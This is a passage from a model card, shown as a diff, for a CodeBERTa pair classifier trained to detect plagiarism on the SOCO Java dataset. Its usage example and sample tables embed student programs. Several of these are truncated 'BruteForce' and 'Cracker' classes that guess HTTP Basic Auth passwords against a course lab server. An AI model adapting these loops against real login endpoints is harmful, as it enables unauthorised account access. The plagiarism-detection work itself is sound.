Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel + (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) +) +``` + +## Usage + +### Direct Usage (Sentence Transformers) + +First install the Sentence Transformers library: + +```bash +pip install -U sentence-transformers +``` + +Then you can load this model and run inference. +```python +from sentence_transformers import SentenceTransformer + +# Download from the 🤗 Hub +model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass") +# Run inference +sentences = [ + '\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\npublic class WatchDog\n{\n\n \n public static void main(String args[])throws Exception\n {\n Process p1,p2,p3,p4,p5;\n \n for(;;)\n {\n \n\n String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \\"Part 2-Assignment2 \\" < change.html"};\n String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};\n String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};\n String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};\n String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};\n String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};\n\n\n Process p = Runtime.getRuntime().exec("mkdir predir");\n p.waitFor();\n Process p1 = Runtime.getRuntime().exec("mkdir postdir");\n p1.waitFor();\n\n \n p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n p1.waitFor();\n\n Process q2 = Runtime.getRuntime().exec(s2);\n q2.waitFor();\n Process q3 = Runtime.getRuntime().exec(s3);\n q2.waitFor();\n\n \n Thread.sleep(86400000);\n\n p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n p3.waitFor();\n\n Process q4 = Runtime.getRuntime().exec(s4);\n q4.waitFor();\n Process q5 = Runtime.getRuntime().exec(s5);\n q5.waitFor();\n\n try\n {\n String str;\n p4 = Runtime.getRuntime().exec(s6);\n DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n p4.waitFor();\n \n System.out.println("The WatchDog - Returns 0 if change else 1");\n System.out.println("Value :" + p4.exitValue());\n try\n {\n while ((str = inp1.readLine()) != null)\n {\n System.out.println(str);\n }\n }\n catch (IOException e)\n {\n System.exit(0);\n }\n\n }\n catch(FileNotFoundException e )\n {\n e.printStackTrace();\n }\n\n BufferedReader in = new BufferedReader(new FileReader("change.html"));\n \n if (in.readLine() != null)\n {\n\n try\n {\n String str1;\n p5 = Runtime.getRuntime().exec(s1);\n DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n p5.waitFor();\n try\n {\n while ((str1 = inp2.readLine()) != null)\n {\n System.out.println(str1);\n }\n }\n catch (IOException e1)\n {\n System.exit(0);\n }\n\n }\n catch(FileNotFoundException exp)\n {\n exp.printStackTrace();\n }\n\n }\n }\n }\n}\n\n', + 'import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\n\npublic class BruteForce\n{\n\n\tprivate String result ="";\n\n\tpublic class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String passwd)\n {\n this.pass = passwd;\n }\n\n\t protected PasswordAuthentication getPasswordAuthentication()\n {\n\t return new PasswordAuthentication("",pass.toCharArray());\n }\n public String pass;\n }\n\n public BruteForce() {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n System.out.println(d.toString());\n\t\tchar words[] = { \'a\',\'b\',\'c\',\'d\',\'e\', \'f\', \'g\', \'h\', \'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\n\t\t\t\t\t\t\t \'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\', \'A\',\'B\',\'C\',\'D\',\'E\', \'F\', \'G\',\n\t\t\t\t\t\t\t \'H\', \'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\n\t\tString record = null;\n\n\n\n String url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n\t\tchar pass[] = {\'x\',\'x\',\'x\'};\n\t\tint count=1;\n\t\tString passwd=new String();\n HttpURLConnection connection = null;\n URL u = null;\n\n try\n {\n u = new URL(url);\n\n }\n catch (MalformedURLException e)\n {\n }\n\n for(int a=0;aClick to see the direct usage in Transformers + + +--> + + + + + + + + + +## Training Details + +### Training Dataset + +#### soco_train_java + +* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) +* Size: 30,069 training samples +* Columns: label, text_1, and text_2 +* Approximate statistics based on the first 1000 samples: + | | label | text_1 | text_2 | + |:--------|:-----------------------------------------------|:------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| + | type | int | string | string | + | details |
  • 0: ~99.80%
  • 1: ~0.20%
|
  • min: 51 tokens
  • mean: 448.9 tokens
  • max: 512 tokens
|
  • min: 54 tokens
  • mean: 464.58 tokens
  • max: 512 tokens
| +* Samples: + | label | text_1 | text_2 | + |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| + | 0 | import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;


public class WatchDog
{
public static FileWriter out = null, output = null;

public static void main (String args[]) throws Exception {
Socket socket = null;
DataOutputStream = null;
BufferedReader bf = null, fr = null;
String retVal = null, StatusCode = "HTTP/1.1 200 OK";
int dirty = 0, count = 0;

stime = System.currentTimeMillis();
System.out.println("Detecting the changes...");

try {


URL yahoo = new URL("http://www.cs.rmit.edu./students/");
URLConnection yc = yahoo.openConnection();


BufferedReader in = new BufferedReader(
new InputStreamReader(
yc.getInputStream()));

String inputLine;
try {
out = new FileWriter("newstudent");
while ((inp...
|
import java.util.*;


public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;

public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;

for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;

for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i])....
| + | 0 |
import java.net.*;
import java.*;
import java.io.*;
import java.util.GregorianCalendar;
public class BruteForce
{

private char passwd_Array []={'a','b','c','d','e','f','g','h','i','j','k',
'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B',
'C','D','E','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V',
'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','\'','.','&'};
private int num=1;
public void crackAddress() throws Exception
{
String line,username="",passwd;
int flag=0;
Runtime run = Runtime.getRuntime();
GregorianCalendar =new GregorianCalendar();
for(int k=0;k {
for(int j=0;j {
for(int i=0;i {
passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j]).append(passwd_Array[k])).toString();
System....
|




import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;



public class DictionaryPropertyHelper {

private static Properties dictProps;



public DictionaryPropertyHelper() {
}



public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the dictionary Props");
e.printStackTrace();
}
return dictProps.getProperty(pKey);
}


private static void initProps() throws Exception{
if(dictProps == null){
dictProps = new Properties();

InputStream fis =
DictionaryPropertyHelper.class.getResourceAsStream("/dictionary.properties");
dictProps.load(fis);
}
}
}

| + | 0 |



import java.net.*;
import java.io.*;
import java.util.Date;

public class BruteForce {
private URL url;
private HttpURLConnection connection;
private static String[] lowerCase = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
"k", "l", "m", "n", "o", "p", "q", "r", "s", "t",
"u", "v", "w", "x", "y", "z"};
private static String[] upperCase = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
"K", "L", "M", "N", "O", "P", "Q", "R", "S", "T",
"U", "V", "W", "X", "Y", "Z"};
private String userPassword, base64_userPassword;
private static char wrongPass;

public BruteForce() {
wrongPass = 'Y';
}

public char determinePass(String inputURL, String userName, String passWord){

try{
url = new URL(inputURL);
connection = (HttpURLConnection)url.openConnection();
this.getEncoded(userName,...
| import java.io.*;

class WatchDog {
public static void main(String args[]) {

if (args.length<1)
{
System.out.println("Correct Format Filename email address of the recordkeeper");
System.exit(1);
}

while (true)
{


FileInputStream stream=null;
DataInputStream word=null;
String input=" ";


try {


String ls_str;


Process ls_proc = Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students");
try {
Thread.sleep(2000);
}catch (Exception e) {
System.err.println("Caught ThreadException: " +e.getMessage());
}

String[] cmd = {"//sh","-c", "diff Index2.html index.html >report.txt "};

ls_proc = Runtime.getRuntime().exec(cmd);


try {
Thread.sleep(2000);
}catch (Exception e) {
System.err.println("Caught ThreadException: " +e.getMessage());
}



if (ls_proc.exitValue()==2)
{
System.out.println("The file was checked for f...
| +* Loss: [SoftmaxLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) + +### Evaluation Dataset + +#### soco_train_java + +* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) +* Size: 3,342 evaluation samples +* Columns: label, text_1, and text_2 +* Approximate statistics based on the first 1000 samples: + | | label | text_1 | text_2 | + |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| + | type | int | string | string | + | details |
  • 0: ~99.50%
  • 1: ~0.50%
|
  • min: 51 tokens
  • mean: 451.02 tokens
  • max: 512 tokens
|
  • min: 54 tokens
  • mean: 464.38 tokens
  • max: 512 tokens
| +* Samples: + | label | text_1 | text_2 | + |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| + | 0 | import java.io.*;
import java.net.*;











public class BruteForce
{
private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private static String password;
private static int length;
private static int t_counter;
private static int f_counter;

private static int cases;

private static int respCode;

public BruteForce()
{
Authenticator.setDefault(new BruteForceAuthenticator());
t_counter = 0;
f_counter = 0;
cases = 0;
}

public static void main (String[] args)
{
BruteForce bf = new BruteForce();
String file = " ";
while(respCode != 200)
{
file = bf.fetchURL();
}
System.out.println("Number of attempts: " + t_counter);
System.out.println("Password: " + password);
System.out.println(file);
}

private String fetchURL()
{
...
|




import java.io.IOException;
import java.net.*;

import java.io.*;
import java.util.*;



public class BruteForce

{

static String strLetter[];

static URL url = null;
static URLConnection urlConnection;
static InputStream urlStream;

static String strExceptionPassword[];

static int intExceptionCount = -1;

static int intNumberOfConnectionAttempts = 0;

static String username = "";

static String strLastPasswordTested;



public static void main (String args[])

{



Calendar calStart;
Calendar calFinish;
Date dateStart;
Date dateFinish;
lngStart;
lngFinish;





calStart = new GregorianCalendar();
dateStart = calStart.getTime();
lngStart = dateStart.getTime();




System.out.println();
System.out.println();






populateArray();







boolean boolPasswordFound...
| + | 0 |



import java.util.*;
import java.net.*;
import java.io.*;
import misc.BASE64Encoder;
import javax.swing.*;

public class ConnectionThread extends Thread
{
private String url;
private URL currURL;
private URLConnection conn;
private HoldSharedData sharedData;
private int noOfThread;
private int batch;

public ConnectionThread( String pageURL, int wThread,
int newBatch, HoldSharedData data )
{
super();
url = pageURL;
noOfThread = wThread;
batch = newBatch;
sharedData = data;
}


public void run()
{
try
{
currURL = new URL( url );

for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
(i < sharedData.getPwdCount()); i ++ )
{
String pwd = sharedData.getPasswordAt( i );

conn = currURL.openConnection();

...
| import java.net.*;
import java.io.*;


public class EmailClient
{
private String sender, recipient, hostName;

public EmailClient(String nSender, String nRecipient, String nHost)
{
sender = nSender;
recipient = nRecipient;
hostName = nHost;
}

public void sendMail(String subject, String message)
{
try
{
Socket s1=null;
InputStream is = null;
OutputStream os = null;

DataOutputStream = null;

s1 = new Socket(hostName,25);
is = s1.getInputStream();
os = s1.getOutputStream();

bd = new DataOutputStream(os);

BufferedReader response = new BufferedReader(new InputStreamReader(is));

bd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\r\n");

waitForSuccessResponse(response);

bd.writeBytes("MAIL FROM:"+sender+"\n");

waitForSuccessResponse(response);

bd.writeBytes("RCPT :"+recipient+"\n");

waitForSuccessResponse(response);

bd.writeBytes("data"+"\n");

bd.writeBytes("Subject:"+subject+"\n");

bd.writeBy...
| + | 0 | import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;


public class LoginAttempt
{




private String urlName = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private String userName = "";
private String connectString = "";


public LoginAttempt()
{
}




public LoginAttemptResults tryPasswords(String [] casedPasswords, int passwordsTried)
{
boolean foundPassword = false;
LoginAttemptResults results = new LoginAttemptResults();

for( i = 0; i < casedPasswords.length; i++)
{
passwordsTried++;
try
{
URL targetURL;
HttpURLConnection connection;
targetURL = new URL(urlName);
connection = (HttpURLConnection) targetURL.openConnection();

connectString = userName + ":" + casedPasswords[i].trim();
connectString = new targetURL.misc.BASE64Encoder().encode(connectString.getByt...
|
package java.httputils;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.sql.Timestamp;


public class HttpRequestClient
{
protected URL serverURL;
protected java.net.HttpURLConnection httpConnection;
protected Timestamp start;
protected Timestamp end;
protected StringBuffer content = new StringBuffer();
protected int millis;
protected int code;

public HttpRequestClient(String url)
throws MalformedURLException, IOException
{
setServerURL(new URL(url));

setStart(new Timestamp(System.currentTimeMillis()));


setHttpConnection(
(HttpURLConnection)this.getServerURL().openConnection());
doRequest();
}


public HttpRequestClient()
{
super();
}


public int doRequest()
throws IOException
{...
| +* Loss: [SoftmaxLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) + +### Training Hyperparameters +#### Non-Default Hyperparameters + +- `eval_strategy`: steps +- `per_device_train_batch_size`: 16 +- `per_device_eval_batch_size`: 16 +- `num_train_epochs`: 1 +- `warmup_ratio`: 0.1 +- `fp16`: True + +#### All Hyperparameters +
Click to expand + +- `overwrite_output_dir`: False +- `do_predict`: False +- `eval_strategy`: steps +- `prediction_loss_only`: True +- `per_device_train_batch_size`: 16 +- `per_device_eval_batch_size`: 16 +- `per_gpu_train_batch_size`: None +- `per_gpu_eval_batch_size`: None +- `gradient_accumulation_steps`: 1 +- `eval_accumulation_steps`: None +- `torch_empty_cache_steps`: None +- `learning_rate`: 5e-05 +- `weight_decay`: 0.0 +- `adam_beta1`: 0.9 +- `adam_beta2`: 0.999 +- `adam_epsilon`: 1e-08 +- `max_grad_norm`: 1.0 +- `num_train_epochs`: 1 +- `max_steps`: -1 +- `lr_scheduler_type`: linear +- `lr_scheduler_kwargs`: {} +- `warmup_ratio`: 0.1 +- `warmup_steps`: 0 +- `log_level`: passive +- `log_level_replica`: warning +- `log_on_each_node`: True +- `logging_nan_inf_filter`: True +- `save_safetensors`: True +- `save_on_each_node`: False +- `save_only_model`: False +- `restore_callback_states_from_checkpoint`: False +- `no_cuda`: False +- `use_cpu`: False +- `use_mps_device`: False +- `seed`: 42 +- `data_seed`: None +- `jit_mode_eval`: False +- `use_ipex`: False +- `bf16`: False +- `fp16`: True +- `fp16_opt_level`: O1 +- `half_precision_backend`: auto +- `bf16_full_eval`: False +- `fp16_full_eval`: False +- `tf32`: None +- `local_rank`: 0 +- `ddp_backend`: None +- `tpu_num_cores`: None +- `tpu_metrics_debug`: False +- `debug`: [] +- `dataloader_drop_last`: False +- `dataloader_num_workers`: 0 +- `dataloader_prefetch_factor`: None +- `past_index`: -1 +- `disable_tqdm`: False +- `remove_unused_columns`: True +- `label_names`: None +- `load_best_model_at_end`: False +- `ignore_data_skip`: False +- `fsdp`: [] +- `fsdp_min_num_params`: 0 +- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} +- `fsdp_transformer_layer_cls_to_wrap`: None +- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} +- `deepspeed`: None +- `label_smoothing_factor`: 0.0 +- `optim`: adamw_torch +- `optim_args`: None +- `adafactor`: False +- `group_by_length`: False +- `length_column_name`: length +- `ddp_find_unused_parameters`: None +- `ddp_bucket_cap_mb`: None +- `ddp_broadcast_buffers`: False +- `dataloader_pin_memory`: True +- `dataloader_persistent_workers`: False +- `skip_memory_metrics`: True +- `use_legacy_prediction_loop`: False +- `push_to_hub`: False +- `resume_from_checkpoint`: None +- `hub_model_id`: None +- `hub_strategy`: every_save +- `hub_private_repo`: None +- `hub_always_push`: False +- `gradient_checkpointing`: False +- `gradient_checkpointing_kwargs`: None +- `include_inputs_for_metrics`: False +- `include_for_metrics`: [] +- `eval_do_concat_batches`: True +- `fp16_backend`: auto +- `push_to_hub_model_id`: None +- `push_to_hub_organization`: None +- `mp_parameters`: +- `auto_find_batch_size`: False +- `full_determinism`: False +- `torchdynamo`: None +- `ray_scope`: last +- `ddp_timeout`: 1800 +- `torch_compile`: False +- `torch_compile_backend`: None +- `torch_compile_mode`: None +- `include_tokens_per_second`: False +- `include_num_input_tokens_seen`: False +- `neftune_noise_alpha`: None +- `optim_target_modules`: None +- `batch_eval_metrics`: False +- `eval_on_start`: False +- `use_liger_kernel`: False +- `eval_use_gather_object`: False +- `average_tokens_across_devices`: False +- `prompts`: None +- `batch_sampler`: batch_sampler +- `multi_dataset_batch_sampler`: proportional + +
+ +### Training Logs +| Epoch | Step | Training Loss | Validation Loss | +|:------:|:----:|:-------------:|:---------------:| +| 0.0532 | 100 | 0.0842 | 0.0238 | +| 0.1064 | 200 | 0.0111 | 0.0203 | +| 0.1596 | 300 | 0.0061 | 0.0253 | +| 0.2128 | 400 | 0.0243 | 0.0203 | +| 0.2660 | 500 | 0.0311 | 0.0209 | +| 0.3191 | 600 | 0.0212 | 0.0203 | +| 0.3723 | 700 | 0.0137 | 0.0237 | +| 0.4255 | 800 | 0.03 | 0.0199 | +| 0.4787 | 900 | 0.0104 | 0.0195 | +| 0.5319 | 1000 | 0.0141 | 0.0201 | +| 0.5851 | 1100 | 0.0214 | 0.0186 | +| 0.6383 | 1200 | 0.0151 | 0.0192 | +| 0.6915 | 1300 | 0.0219 | 0.0185 | +| 0.7447 | 1400 | 0.0152 | 0.0184 | +| 0.7979 | 1500 | 0.0082 | 0.0192 | +| 0.8511 | 1600 | 0.0128 | 0.0182 | +| 0.9043 | 1700 | 0.0155 | 0.0172 | +| 0.9574 | 1800 | 0.0102 | 0.0174 | + + +### Framework Versions +- Python: 3.11.13 +- Sentence Transformers: 4.1.0 +- Transformers: 4.52.4 +- PyTorch: 2.6.0+cu124 +- Accelerate: 1.7.0 +- Datasets: 3.6.0 +- Tokenizers: 0.21.1 + +## Citation + +### BibTeX + +#### Sentence Transformers and SoftmaxLoss +```bibtex +@inproceedings{reimers-2019-sentence-bert, + title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", + author = "Reimers, Nils and Gurevych, Iryna", + booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", + month = "11", + year = "2019", + publisher = "Association for Computational Linguistics", + url = "https://arxiv.org/abs/1908.10084", +} +``` + + + + + + \ No newline at end of file